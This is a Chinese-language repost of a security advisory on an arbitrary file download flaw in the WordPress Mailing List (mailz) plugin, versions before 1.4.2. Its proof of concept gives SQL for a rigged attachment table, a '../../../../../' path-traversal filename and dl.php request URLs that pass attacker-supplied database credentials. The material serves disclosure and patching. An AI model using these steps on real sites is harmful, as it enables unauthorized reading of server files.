网站地图    收藏   

主页 > 后端 > 网站安全 >

Wordpress插件Mailing List任意文件下载 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 标题: Mailing List plugin for Wordpress Arbitrary file download影响版本: 1.4.2作者: 6Scan (http://6scan.com) security team下载地址: http://wordpress.org/extend/plugins/mailz/官方修......

 

标题: Mailing List plugin for Wordpress Arbitrary file download 

影响版本:  < 1.4.2 

作者: 6Scan (http://6scan.com) security team 

下载地址: http://wordpress.org/extend/plugins/mailz/ 

官方修正: This advisory is released after the vendor (http://www.zingiri.com)  was contacted and fixed the issue promptly. 

概述 : 

Unauthorized users can download arbitrary files from the server using this exploit. 

 

缺陷位于 config.php file, which connects to database with supplied credentials. Database entries are used to retrieve files from host. 

 

#   The bug is in config.php, but accessible from other file. 

示例测试

 

1) Setup mysql database 

 

2) Create table with the next structure: 

 

CREATE TABLE IF NOT EXISTS `phplist_attachment` ( 

 

  `filename` varchar(1024) NOT NULL, 

 

  `mimetype` varchar(1024) NOT NULL, 

 

  `remotefile` varchar(1024) NOT NULL, 

 

  `description` varchar(1024) NOT NULL, 

 

  `size` int(11) NOT NULL, 

 

  `id` int(11) NOT NULL 

 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

3) Add this raw into database: 

 

INSERT INTO `phplist_attachment` (`filename`, `mimetype`, `remotefile`, `description`, `size`, `id`) VALUES 

 

('../../../../../somefile.txt', '', '', '', 0, 0); 

4) Call the script with database parameters and file id to download: 

http://www.2cto.com /wp-content/plugins/mailz/lists/dl.php?wph=localhost&wpdb=test&user=root&wpp=root&id=0 

The credentials are now saved in session, and there is no need to continue passing them: 

http://www.2cto.com /wp-content/plugins/mailz/lists/dl.php?id=1 

http://www.2cto.com /wp-content/plugins/mailz/lists/dl.php?id=2 

http://www.2cto.com /wp-content/plugins/mailz/lists/dl.php?id=3

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论